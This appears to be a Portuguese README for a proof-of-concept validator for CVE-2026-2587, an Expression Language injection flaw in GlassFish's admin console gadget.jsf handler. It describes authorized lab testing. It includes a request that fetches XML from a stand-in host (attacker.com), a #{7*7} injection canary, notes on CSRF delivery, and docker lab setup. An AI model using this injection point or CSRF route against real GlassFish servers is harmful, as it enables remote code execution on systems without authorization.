Validador de PoC CVE-2026-2587 para Eclipse GlassFish EL Injection RCE no manipulador gadget.jsf do console de administração. Scanner de vulnerabilidades autenticado e seguro para testes autorizados.
Validador PoC seguro para CVE-2026-2587, uma vulnerabilidade crítica de Injeção EL / RCE que afeta o tratamento de gadgets do console de administração do Eclipse GlassFish via /common/gadgets/gadget.jsf.
Esta ferramenta ajuda equipes de segurança a validar a exposição ao CVE-2026-2587 do GlassFish em ambientes autorizados usando um canário EL aritmético benigno.
Atribuído por: Eclipse Foundation (CNA) · Publicado: 19 de maio de 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Injeção de Linguagem de Expressão Versões afetadas:Desconhecidono aviso público até 21 de maio de 2026 Versões corrigidas:Desconhecidono aviso público até 21 de maio de 2026 Regra do scanner: a versão é apenas contexto de roteiro/relatório; o veredito requer prova.
Existe uma vulnerabilidade crítica de Execução Remota de Código no manipulador de gadgets do console de administração do GlassFish. A aplicação processa arquivos .xml buscados a partir de uma URL fornecida via parâmetro de consulta gadget= e avalia valores fornecidos pelo usuário dentro de atributos <ModulePrefs> através do mecanismo de Linguagem de Expressão Java (EL) sem sanitização ou escapamento.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Se o XML contiver `#{7*7}` em um atributo `<ModulePrefs title="">`, o GlassFish o avalia no lado do servidor e retorna `49` — confirmando a execução de EL. Uma cadeia completa de RCE segue através do acesso da EL ao runtime Java.
Os registros públicos de consultoria atuais não publicam um limite de versão afetada ou corrigida. Portanto, este validador é baseado em prova: ele identifica o GlassFish e relata metadados de versão, mas não classifica um alvo como vulnerável apenas a partir de uma string de versão.
---
## Como Funciona

O caminho de validação seguro hospeda uma sonda XML benigna, envia uma solicitação autenticada de console de administrador para `gadget.jsf`, permite que o GlassFish busque esse XML da URL de retorno de chamada e verifica se o canary `<ModulePrefs title="">` avalia de `#{7*7}` para `49`.
**Ponto de injeção confirmado vs. não:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Cenário | Autenticação necessária? |
|---|---|
Hit direto em gadget.jsf | Sim — autenticação FORM, página de login 200 |
| Ataque CSRF no mundo real | Não — weaponiza a sessão ativa do admin |
| Este validador | Sim — --cookie ou --username/--password |
| Verificação de exposição não autenticada | Não — o script testa isso automaticamente |
O vetor CVSS PR:N / UI:R significa:
PR:N — o atacante não precisa de credenciais própriasUI:R — um admin logado deve interagir (entrega CSRF)Para validação em laboratório, pule o CSRF completamente — use sua própria sessão de admin diretamente.
Requisitos: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Conteúdo do repositório:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Aviso: O GHSA ainda lista versões afetadas e corrigidas como desconhecidas.
omnifish/glassfish:7.0.15é um forte candidato para laboratório — não uma compilação garantidamente vulnerável. A primitiva de validação permanece o verificador aritmético: se#{7*7}for igual a49, a EL está ativa.
docker compose -f docker-compose.lab.yml up
Inicia o GlassFish 7.0.15 com portas vinculadas apenas a `127.0.0.1` e `host.docker.internal` pré-configurado para que o container possa alcançar seu servidor XML local.
### Opção B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console de administração: https://localhost:4848 · Login: admin / admin
(Certificado autoassinado — aviso do navegador é esperado.)
Em um segundo terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verificar a acessibilidade da perspectiva do contêiner:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5